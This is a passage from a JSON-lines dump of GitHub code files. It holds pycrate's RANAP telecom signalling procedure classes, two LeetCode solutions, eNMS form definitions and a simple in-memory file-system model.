 request-response\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 144: MBMSCNDe_Registration (M)\n      Extensions:\n        None\n    SuccessfulOutcome:\n      IEs:\n      - 4: Cause (O)\n      - 9: CriticalityDiagnostics (O)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.mBMSSessionStop\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPMBMSUELinking(RANAPSigProc):\n    \"\"\"MBMS UE Linking: TS 25.413, section 8.39\n    \n    CN-initiated\n    request-response\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 141: JoinedMBMSBearerService_IEs (O)\n      - 142: LeftMBMSBearerService_IEs (O)\n      Extensions:\n        None\n    Outcome:\n      IEs:\n      - 9: CriticalityDiagnostics (O)\n      - 155: UnsuccessfulLinking_IEs (O)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.mBMSUELinking\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPMBMSRegistration(RANAPSigProc):\n    \"\"\"MBMS Registration: TS 25.413, section 8.40\n    \n    RNC-initiated\n    request-accept, request-reject\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 86: GlobalRNC_ID (O)\n      - 132: APN (C)\n      - 140: IPMulticastAddress (C)\n      - 151: MBMSRegistrationRequestType (M)\n      - 153: TMGI (M)\n      Extensions:\n      - 171: ExtendedRNC_ID (O)\n    SuccessfulOutcome:\n      IEs:\n      - 9: CriticalityDiagnostics (O)\n      - 96: GlobalCN_ID (O)\n      - 153: TMGI (O)\n      Extensions:\n        None\n    UnsuccessfulOutcome:\n      IEs:\n      - 4: Cause (M)\n      - 9: CriticalityDiagnostics (O)\n      - 96: GlobalCN_ID (O)\n      - 153: TMGI (O)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.mBMSRegistration\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': ({}, {})\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': ({}, {})\n        }\n    \n    # not implemented\n\n\nclass RANAPMBMSCNDeregistration(RANAPSigProc):\n    \"\"\"MBMS CN Deregistration: TS 25.413, section 8.41\n    \n    CN-initiated\n    request-response\n    connection-less signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 96: GlobalCN_ID (O)\n      - 153: TMGI (M)\n      Extensions:\n        None\n    SuccessfulOutcome:\n      IEs:\n      - 4: Cause (O)\n      - 9: CriticalityDiagnostics (O)\n      - 86: GlobalRNC_ID (M)\n      - 153: TMGI (M)\n      Extensions:\n      - 171: ExtendedRNC_ID (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.mBMSCNDe_Registration\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPMBMSRABEstablishmentInd(RANAPSigProc):\n    \"\"\"MBMS RAB Establishement Indication: TS 25.413, section 8.42\n    \n    RNC-initiated\n    request only\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 154: TransportLayerInformation (M)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.mBMSRABEstablishmentIndication\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPMBMSRABRelease(RANAPSigProc):\n    \"\"\"MBMS RAB Release: TS 25.413, section 8.43\n    \n    RNC-initiated\n    request-accept, request-reject\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 4: Cause (M)\n      Extensions:\n        None\n    SuccessfulOutcome:\n      IEs:\n      - 4: Cause (M)\n      - 9: CriticalityDiagnostics (O)\n      Extensions:\n        None\n    UnsuccessfulOutcome:\n      IEs:\n      - 4: Cause (M)\n      - 9: CriticalityDiagnostics (O)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.mBMSRABRelease\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': ({}, {})\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': ({}, {})\n        }\n    \n    # not implemented\n\n\nclass RANAPEnhancedRelocationComplete(RANAPSigProc):\n    \"\"\"Enhanced Relocation Complete: TS 25.413, section 8.44\n    \n    RNC-initiated\n    request-accept, request\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 79: IuSignallingConnectionIdentifier (M)\n      - 188: RAB_SetupList_EnhancedRelocCompleteReq (O)\n      - 196: IuSignallingConnectionIdentifier (M)\n      - 212: GlobalRNC_ID (M)\n      - 213: ExtendedRNC_ID (O)\n      - 222: GlobalRNC_ID (M)\n      - 223: ExtendedRNC_ID (O)\n      Extensions:\n      - 5: ChosenEncryptionAlgorithm (O)\n      - 6: ChosenIntegrityProtectionAlgorithm (O)\n      - 203: CSG_Id (O)\n      - 235: Cell_Access_Mode (O)\n      - 250: HigherBitratesThan16MbpsFlag (O)\n      - 262: TunnelInformation (O)\n      - 275: LHN_ID (O)\n    SuccessfulOutcome:\n      IEs:\n      - 9: CriticalityDiagnostics (O)\n      - 190: RAB_SetupList_EnhancedRelocCompleteRes (O)\n      - 210: RAB_ToBeReleasedList_EnhancedRelocCompleteRes (O)\n      Extensions:\n      - 233: UE_AggregateMaximumBitRate (O)\n      - 234: CSG_Membership_Status (O)\n      - 239: MSISDN (O)\n    UnsuccessfulOutcome:\n      IEs:\n      - 4: Cause (M)\n      - 9: CriticalityDiagnostics (O)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.enhancedRelocationComplete\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': ({}, {})\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': ({}, {})\n        }\n    \n    # not implemented\n\n\nclass RANAPEnhancedRelocationCompleteConfirm(RANAPSigProc):\n    \"\"\"Enhanced Relocation Complete Confirm: TS 25.413, section 8.45\n    \n    RNC-initiated\n    request only\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 35: RAB_FailedList (O)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.enhancedRelocationCompleteConfirm\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPSRVCCPreparation(RANAPSigProc):\n    \"\"\"SRVCC Preparation: TS 25.413, section 8.46\n    \n    RNC-initiated\n    request-response\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n        None\n      Extensions:\n        None\n    Outcome:\n      IEs:\n      - 9: CriticalityDiagnostics (O)\n      - 224: EncryptionKey (M)\n      - 225: IntegrityProtectionKey (M)\n      - 227: SRVCC_Information (M)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.sRVCCPreparation\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPUERadioCapabilityMatch(RANAPSigProc):\n    \"\"\"UE Radio Capability Match: TS 25.413, section 8.47\n    \n    CN-initiated\n    request-response\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n        None\n      Extensions:\n        None\n    Outcome:\n      IEs:\n      - 258: VoiceSupportMatchIndicator (M)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.ueRadioCapabilityMatch\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPUERegistrationQuery(RANAPSigProc):\n    \"\"\"UE Registration Query: TS 25.413, section 8.48\n    \n    RNC-initiated\n    request\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 23: PermanentNAS_UE_ID (M)\n      - 79: IuSignallingConnectionIdentifier (M)\n      Extensions:\n        None\n    Outcome:\n      IEs:\n      - 281: UERegistrationQueryResult (M)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.ueRegistrationQuery\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPRerouteNASRequest(RANAPSigProc):\n    \"\"\"Reroute NAS Request: TS 25.413, section 8.49\n    \n    CN-initiated\n    request only\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 286: SGSN_Group_Identity (M)\n      - 287: P_TMSI (O)\n      - 288: [OCTET STRING] (M)\n      - 290: UE_Usage_Type (O)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.rerouteNASRequest\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPPrivateMessageRNC(RANAPSigProc):\n    \"\"\"Private Message: TS 25.413\n    \n    RNC-initiated\n    request only\n    connection-less signalling procedure\n    \n    InitiatingMessage:\n      None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.privateMessage\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPPrivateMessageCN(RANAPSigProc):\n    \"\"\"Private Message: TS 25.413\n    \n    CN-initiated\n    request only\n    connection-less signalling procedure\n    \n    InitiatingMessage:\n      None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.privateMessage\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # not implemented\n\n\n# initializing all RANAP procedures classes\nRANAPRABAssignment.init()\nRANAPRABReleaseRequest.init()\nRANAPIuReleaseRequest.init()\nRANAPIuRelease.init()\nRANAPRelocationPreparation.init()\nRANAPRelocationResourceAllocation.init()\nRANAPRelocationDetect.init()\nRANAPRelocationComplete.init()\nRANAPRelocationCancel.init()\nRANAPSRNSContextTransfer.init()\nRANAPSRNSDataForwarding.init()\nRANAPSRNSContextForwardToCN.init()\nRANAPSRNSContextForwardToRNC.init()\nRANAPPaging.init()\nRANAPCommonID.init()\nRANAPCNInvokeTrace.init()\nRANAPSecurityModeControl.init()\nRANAPLocationReportingControl.init()\nRANAPLocationReport.init()\nRANAPDataVolumeReport.init()\nRANAPInitialUEMessage.init()\nRANAPDirectTransferCN.init()\nRANAPDirectTransferRNC.init()\nRANAPOverloadControlCN.init()\nRANAPOverloadControlRNC.init()\nRANAPResetCN.init()\nRANAPResetRNC.init()\nRANAPErrorIndConlessCN.init()\nRANAPErrorIndConlessRNC.init()\nRANAPErrorIndCN.init()\nRANAPErrorIndRNC.init()\nRANAPCNDeactivateTrace.init()\nRANAPResetResourceCN.init()\nRANAPResetResourceRNC.init()\nRANAPRABModificationRequest.init()\nRANAPLocationRelatedData.init()\nRANAPInformationTransfer.init()\nRANAPUESpecificInformation.init()\nRANAPDirectInformationTransferCN.init()\nRANAPDirectInformationTransferRNC.init()\nRANAPUplinkInformationTransfer.init()\nRANAPMBSMSessionStart.init()\nRANAPMBMSSessionUpdate.init()\nRANAPMBMSSessionStop.init()\nRANAPMBMSUELinking.init()\nRANAPMBMSRegistration.init()\nRANAPMBMSCNDeregistration.init()\nRANAPMBMSRABEstablishmentInd.init()\nRANAPMBMSRABRelease.init()\nRANAPEnhancedRelocationComplete.init()\nRANAPEnhancedRelocationCompleteConfirm.init()\nRANAPSRVCCPreparation.init()\nRANAPUERadioCapabilityMatch.init()\nRANAPUERegistrationQuery.init()\nRANAPRerouteNASRequest.init()\nRANAPPrivateMessageRNC.init()\nRANAPPrivateMessageCN.init()\n\n# RANAP RNC-initiated connection-oriented signalling procedures dispatcher\nRANAPProcRncDispatcher = {\n    2 : RANAPRelocationPreparation,\n    4 : RANAPRelocationCancel,\n    10 : RANAPRABReleaseRequest,\n    11 : RANAPIuReleaseRequest,\n    12 : RANAPRelocationDetect,\n    13 : RANAPRelocationComplete,\n    18 : RANAPLocationReport,\n    19 : RANAPInitialUEMessage,\n    20 : RANAPDirectTransferRNC,\n    22 : RANAPErrorIndRNC,\n    24 : RANAPSRNSContextForwardToCN,\n    25 : RANAPPrivateMessageRNC,\n    29 : RANAPRABModificationRequest,\n    39 : RANAPMBMSRegistration,\n    41 : RANAPMBMSRABEstablishmentInd,\n    42 : RANAPMBMSRABRelease,\n    43 : RANAPEnhancedRelocationComplete,\n    44 : RANAPEnhancedRelocationCompleteConfirm,\n    46 : RANAPSRVCCPreparation,\n    48 : RANAPUERegistrationQuery\n    }\n\n# RANAP CN-initiated connection-oriented signalling procedures dispatcher\nRANAPProcCnDispatcher = {\n    0 : RANAPRABAssignment,\n    1 : RANAPIuRelease,\n    3 : RANAPRelocationResourceAllocation,\n    5 : RANAPSRNSContextTransfer,\n    6 : RANAPSecurityModeControl,\n    7 : RANAPDataVolumeReport,\n    15 : RANAPCommonID,\n    16 : RANAPCNInvokeTrace,\n    17 : RANAPLocationReportingControl,\n    20 : RANAPDirectTransferCN,\n    22 : RANAPErrorIndCN,\n    23 : RANAPSRNSDataForwarding,\n    24 : RANAPSRNSContextForwardToRNC,\n    25 : RANAPPrivateMessageCN,\n    26 : RANAPCNDeactivateTrace,\n    30 : RANAPLocationRelatedData,\n    32 : RANAPUESpecificInformation,\n    35 : RANAPMBSMSessionStart,\n    36 : RANAPMBMSSessionUpdate,\n    37 : RANAPMBMSSessionStop,\n    38 : RANAPMBMSUELinking,\n    40 : RANAPMBMSCNDeregistration,\n    47 : RANAPUERadioCapabilityMatch,\n    49 : RANAPRerouteNASRequest,\n    }\n\n# RANAP RNC-initiated connection-less signalling procedures dispatcher\nRANAPConlessProcRncDispatcher = {\n    9 : RANAPResetRNC,\n    21 : RANAPOverloadControlRNC,\n    22 : RANAPErrorIndConlessRNC,\n    27 : RANAPResetResourceRNC,\n    33 : RANAPUplinkInformationTransfer,\n    34 : RANAPDirectInformationTransferRNC,\n    }\n\n# RANAP CN-initiated connection-less signalling procedures dispatcher\nRANAPConlessProcCnDispacther = {\n    9 : RANAPResetCN,\n    14 : RANAPPaging,\n    21 : RANAPOverloadControlCN,\n    22 : RANAPErrorIndConlessCN,\n    27 : RANAPResetResourceCN,\n    31 : RANAPInformationTransfer,\n    34 : RANAPDirectInformationTransferCN,\n    }\n\n","repo_name":"P1sec/pycrate","sub_path":"pycrate_corenet/ProcCNRanap.py","file_name":"ProcCNRanap.py","file_ext":"py","file_size_in_byte":90235,"program_lang":"python","lang":"en","doc_type":"code","stars":363,"dataset":"github-code","pt":"21"}
+{"seq_id":"7551212374","text":"# Definition for singly-linked list.\r\n# class ListNode:\r\n#     def __init__(self, x):\r\n#         self.val = x\r\n#         self.next = None\r\n\r\nclass Solution:\r\n    # @return a ListNode\r\n    def removeNthFromEnd(self, head, n):\r\n        myhead = ListNode(0)\r\n        myhead.next = head\r\n        now_head = myhead\r\n        last_head = myhead\r\n        p = head\r\n        i = 0\r\n        while p:\r\n            i += 1\r\n            if i == n:\r\n                last_head = now_head\r\n                now_head = p\r\n                i = 0\r\n            p = p.next\r\n            \r\n        if i == n:\r\n            last_head.next = last_head.next.next\r\n        elif last_head == myhead and i == 0:\r\n            return head.next\r\n        else:\r\n            for j in range(i):\r\n                last_head = last_head.next\r\n            last_head.next = last_head.next.next\r\n        return head\r\n                    ","repo_name":"cbsheng/fun_acm","sub_path":"leetcode/Remove Nth Node From End of List.py","file_name":"Remove Nth Node From End of List.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"23459778229","text":"class Solution(object):\n    def myPow(self, x, n):\n        \"\"\"\n        :type x: float\n        :type n: int\n        :rtype: float\n        \"\"\"\n        flag = 0\n        if n < 0:\n            n = -n\n            flag = 1\n        res = self.power(x, n)\n        return res if flag == 0 else 1/float(res)\n        \n    def power(self, x, n):\n        if n == 0:\n            return 1\n        if n % 2 == 0:\n            temp = self.power(x, n/2)\n            return temp * temp\n        else:\n            temp = self.power(x, n/2)\n            return x * temp * temp\n","repo_name":"ynyeh0221/LeetCode-II","sub_path":"50. Pow(x, n).py","file_name":"50. Pow(x, n).py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"38125418904","text":"t = int(input())\nwhile t:\n    t -= 1\n    s = input()\n    lens = len(s)\n    if lens % 2 == 0 or s[0] == s[1]:\n        print(\"NO\")\n    else:\n        s1 = s[::2]\n        ok = True\n        for i in range(lens//2 - 1):\n            if s1[i] != s1[i+1]:\n                ok = False\n                break\n        print(\"YES\" if ok else \"NO\")","repo_name":"Sudo248/Python-PTIT","sub_path":"so_xem_ke.py","file_name":"so_xem_ke.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"13206418290","text":"from wtforms import BooleanField, HiddenField, IntegerField, SelectField, StringField\r\nfrom wtforms.validators import InputRequired\r\nfrom wtforms.widgets import TextArea\r\n\r\nfrom eNMS.forms import BaseForm, configure_relationships\r\nfrom eNMS.forms.fields import DateField, DictField, MultipleInstanceField\r\n\r\n\r\ndef configure_form(cls):\r\n    cls.properties = (\"log_source\", \"log_content\")\r\n    for property in (\"log_source\", \"log_content\"):\r\n        setattr(cls, property, StringField(property))\r\n        setattr(cls, property + \"_regex\", BooleanField(\"Regex\"))\r\n    return cls\r\n\r\n\r\n@configure_form\r\nclass EventForm(BaseForm):\r\n    template = \"event\"\r\n    form_type = HiddenField(default=\"event\")\r\n    id = HiddenField()\r\n    name = StringField(\"Name\", [InputRequired()])\r\n    services = MultipleInstanceField(\"Services\")\r\n\r\n\r\n@configure_relationships\r\nclass TaskForm(BaseForm):\r\n    template = \"object\"\r\n    form_type = HiddenField(default=\"task\")\r\n    id = HiddenField()\r\n    scheduling_mode = SelectField(\r\n        \"Scheduling Mode\",\r\n        choices=((\"cron\", \"Crontab Scheduling\"), (\"standard\", \"Standard Scheduling\")),\r\n    )\r\n    name = StringField(\"Name\", [InputRequired()])\r\n    description = StringField(\"Description\")\r\n    start_date = DateField(\"Start Date\")\r\n    end_date = DateField(\"End Date\")\r\n    frequency = IntegerField(\"Frequency\", default=0)\r\n    frequency_unit = SelectField(\r\n        \"Frequency Unit\",\r\n        choices=(\r\n            (\"seconds\", \"Seconds\"),\r\n            (\"minutes\", \"Minutes\"),\r\n            (\"hours\", \"Hours\"),\r\n            (\"days\", \"Days\"),\r\n        ),\r\n    )\r\n    crontab_expression = StringField(\"Crontab Expression\")\r\n    payload = DictField(\"Payload\")\r\n\r\n    def validate(self):\r\n        valid_form = super().validate()\r\n        no_date = self.scheduling_mode.data == \"standard\" and not self.start_date.data\r\n        if no_date:\r\n            self.start_date.errors.append(\"A start date must be set.\")\r\n        no_cron_expression = (\r\n            self.scheduling_mode.data == \"cron\" and not self.crontab_expression.data\r\n        )\r\n        if no_cron_expression:\r\n            self.crontab_expression.errors.append(\"A crontab expression must be set.\")\r\n        no_service = not self.service.data\r\n        if no_service:\r\n            self.service.errors.append(\"No service set.\")\r\n        return valid_form and not any([no_date, no_cron_expression, no_service])\r\n\r\n\r\nclass ChangelogForm(BaseForm):\r\n    template = \"object\"\r\n    form_type = HiddenField(default=\"changelog\")\r\n    id = HiddenField()\r\n    severity = SelectField(\r\n        \"Severity\",\r\n        choices=(\r\n            (\"debug\", \"Debug\"),\r\n            (\"info\", \"Info\"),\r\n            (\"warning\", \"Warning\"),\r\n            (\"error\", \"Error\"),\r\n            (\"critical\", \"Critical\"),\r\n        ),\r\n    )\r\n    content = StringField(widget=TextArea(), render_kw={\"rows\": 8})\r\n","repo_name":"arifh19/eNMS","sub_path":"eNMS/forms/events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":2868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"}
+{"seq_id":"8831186923","text":"from __future__ import annotations\n\n\nclass Directory:\n    def __init__(self, name: str, parent: Directory, is_root=False):\n        self.is_root = is_root\n        self.name = name\n        self.parent = parent\n        # Prevent double //\n        if (is_root):\n            self.path = \"/\"\n        elif (parent.is_root):\n            self.path = parent.path + name\n        else:\n            self.path = parent.path + \"/\" + name\n        self.subfolders = {}\n        self.files = {}\n\n    # Create a sub directory under this directory\n    def new_subfolder(self, new_name: str) -> Directory:\n        d = Directory(new_name, self)\n        self.subfolders[new_name] = d\n        return d\n\n    # Create new file under this directory\n    def new_file(self, file_name: str) -> File:\n        f = File(file_name, self)\n        self.files[file_name] = f\n        return f\n\n    # Given an existing file, link it to this directory\n    def add_existing_file(self, file: File):\n        if (file is None):\n            return\n        self.files[file.name] = file\n        file.parent = self\n\n    def get_file(self, file_name: str) -> File:\n        if file_name in self.files.keys():\n            return self.files[file_name]\n        else:\n            return None\n\n    def get_subfolder(self, subfolder_name: str) -> Directory:\n        if subfolder_name in self.subfolders.keys():\n            return self.subfolders[subfolder_name]\n        else:\n            return None\n\n    # Removes subfolder, NOOp if doesn't exist.\n    def remove_subfolder(self, subfolder_name):\n        return self.subfolders.pop(subfolder_name, None)\n\n    # Removes file, NOOp if doesn't exist.\n    def remove_file(self, file_name: str) -> File:\n        return self.files.pop(file_name, None)\n\n    # Starting from this dir, invoke an arbitrary func on every folder & file\n    # + recursively on every subfolder\n    # Return the output of each type (file|folder) as two dicts where\n    # dict{key=file/folder-path, val=func output}\n    # Output = tuple(dict,dict) correspondg to file-output, folder-output\n\n    # e.g. Imagine a tree of  / -> file1, dir1; \n    #                         /dir1 -> file2\n    # e.g. Output: ({/file1->val1, /dir1/file2->val2} , {/dir1->val3})\n    # where the first dict is the output of all file invocations\n    # and the second dict is the output of all directory invocations\n    def recurse_with_func(self, func: function, args: list) -> tuple[dict, dict]:\n        output_files = {}\n        output_folders = {}\n        for file in self.files.values():\n            output_files[file.get_path()] = func(file, *args)\n        for dir in self.subfolders.values():\n            output_folders[dir.path] = func(dir, *args)\n            recurse_output_files, recurse_output_folders = dir.recurse_with_func(\n                func, args)\n            # merge dicts; no worries about key conflict due to unique pathes as keys\n            output_files = {**output_files, **recurse_output_files}\n            output_folders = {**output_folders, **recurse_output_folders}\n        return (output_files, output_folders)\n\n\nclass File:\n    def __init__(self, name: str, parent: Directory):\n        self.name = name\n        self.contents = \"\"\n        self.parent = parent\n        # TODO implement read/write lock logic\n        # Supports multiple open reads\n        self.read_handlers = set()\n        # Supports only 1 open write\n        self.write_handler = None\n\n    def get_path(self) -> str:\n        if self.parent.is_root:\n            return \"/\"+self.name\n        else:\n            return self.parent.path + \"/\" + self.name\n\n    def copy(self) -> File:\n        f = File(self.name, self.parent)\n        f.contents = self.contents\n        return f\n\n    # Deep copy this file in the same dir with new_name\n    # returns the new file\n    def copy_in_place(self, new_name: str) -> File:\n        if (new_name == self.name):\n            raise Exception(\"Can't copy file with same name\")\n        else:\n            f = File(new_name, self.parent)\n            self.parent.add_existing_file(f)\n            f.contents = self.contents\n            return f\n\n# Allows reading and writing of file in chunks\nclass FileHandler:\n    def __init__(self, file: File):\n        self.file = file\n        self.cursor = 0  # Used to maintain current position\n        self.is_open = False\n\n    # Moves the cursor to absolute index\n    # Returns T/F for success/fail\n    def move_cursor_abs(self, i: int) -> bool:\n        if (i < 0 or i > len(self.file.contents)):\n            print(\"Cursor value out of bounds\")\n            return False\n        self.cursor = i\n        return True\n\n    # Moves the cursor relative to current index\n    # Negative int will move it backward\n    # Returns T/F for success/fail\n    def move_cursor_rel(self, i: int) -> bool:\n        new_pos = self.cursor + i\n        if (new_pos < 0 or new_pos >= len(self.file.contents)):\n            print(\"Cursor value out of bounds\")\n            return False\n        self.cursor = new_pos\n        return True\n\n    # If i is out of bounds, round i to 0 or EoF\n    def _round_index(self, i: int) -> int:\n        if i > len(self.file.contents):\n            i = len(self.file.contents)\n        if i < 0:\n            i = 0\n        return i\n\n\nclass ReadHandler(FileHandler):\n    # Read next i chars\n    def read_next(self, i: int) -> str:\n        if not self.is_open:\n            raise Exception(\"Cannot read from unopened handler\")\n        new_index = self._round_index(self.cursor+i)\n        output = self.file.contents[self.cursor:new_index]\n        self.cursor = new_index\n        return output\n\n    # Read from cursor to end\n    def read_to_end(self) -> str:\n        if not self.is_open:\n            raise Exception(\"Cannot read from unopened handler\")\n        output = self.file.contents[self.cursor:]\n        self.cursor = len(self.file.contents)\n        return output\n\n    # Stream output until the next newline starting from cursor\n    def read_line(self) -> str:\n        if not self.is_open:\n            raise Exception(\"Cannot read from unopened handler\")\n        output = \"\"\n        for i in range(self.cursor, len(self.file.contents)):\n            c = self.file.contents[self.cursor]\n            output += c\n            self.cursor = self._round_index(self.cursor + 1)\n            if (c == \"\\n\"):\n                break\n        return output\n\n    # Outputs all file contents, doesn't move cursor\n    def read(self) -> str:\n        if not self.is_open:\n            raise Exception(\"Cannot read from unopened handler\")\n        return self.file.contents\n\n    # Opening a read handler is always successful\n    def open(self) -> bool:\n        self.file.read_handlers.add(self)\n        self.is_open = True\n        self.cursor = 0\n        return True\n\n    # Close the handler\n    def close(self) -> None:\n        self.file.read_handlers.remove(self)\n        self.is_open = False\n\n\nclass WriteHandler(FileHandler):\n    # Overwrites file contents\n    def write(self, contents: str) -> None:\n        if not self.is_open:\n            raise Exception(\"Cannot write with unopened handler\")\n        self.file.contents = contents\n        self.cursor = len(self.file.contents)\n\n    # Appends file contents to end\n    def concat(self, contents: str) -> None:\n        if not self.is_open:\n            raise Exception(\"Cannot write with unopened handler\")\n        self.file.contents += contents\n        self.cursor = len(self.file.contents)\n\n    # Inserts contents at current cursor\n    # Cursor now points to cursor + len(contents)\n    def insert(self, contents: str) -> None:\n        if not self.is_open:\n            raise Exception(\"Cannot write with unopened handler\")\n        c = self.file.contents\n        self.file.contents = c[0:self.cursor] + contents + c[self.cursor:]\n        self.cursor = self.cursor + len(contents)\n\n    # Open the write handler\n    # Returns false if an open one already exists\n\n    def open(self) -> bool:\n        if (self.file.write_handler is None):\n            self.file.write_handler = self\n            self.is_open = True\n            self.cursor = 0\n            return True\n        else:\n            return False\n\n    # Close the handler\n    def close(self) -> None:\n        self.file.write_handler = None\n        self.is_open = False\n","repo_name":"daniell289/material_security","sub_path":"objects.py","file_name":"objects.py","file_ext":"py","file_size_in_byte":8254,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
